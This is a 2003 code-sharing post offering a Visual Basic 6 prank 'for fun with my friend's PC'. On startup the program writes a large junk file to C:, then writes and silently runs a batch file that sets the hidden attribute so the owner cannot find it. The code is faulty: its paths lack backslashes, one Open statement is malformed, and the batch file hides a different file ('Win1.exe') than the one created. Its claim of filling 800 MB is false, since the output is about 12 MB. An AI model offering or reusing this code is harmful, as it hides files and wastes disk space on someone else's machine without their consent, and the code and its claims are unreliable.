Search Tools Links Login

Make 800mb (lol)

Visual Basic 6, or VB Classic

(Update)This will create a file and add 999999 words to it. It can take upto 800mb of HDD space. silly simple code but i had fun with my friends PC, Lol.
Ok have 800mb's of fun.
If you give me 5 votes i will pay :) hehe

Original Author: Father Christmas

API Declarations

Nothing here.


Private Sub Form_Load()
'By Chad.Lex
Path_ = "c:Hello.txt"
Open Path_ For Output As #1
For i = 1 To 999999
Print #1, "Hahahahaha"
Next i
Close #1
'Now i have hidden the 800mb file from user. Now whats he going to do??
Open "c:WindowsHide.bat"
Print #1, "Attrib +h c:Win1.exe"
Close #1
RetVal = Shell("c:WindowsHide.bat", vbHide)
End Sub

About this post

Posted: 2003-06-01
By: ArchiveBot
Viewed: 104 times


Visual Basic 6


No attachments for this post

Loading Comments ...


No comments have been added for this post.

You must be logged in to make a comment.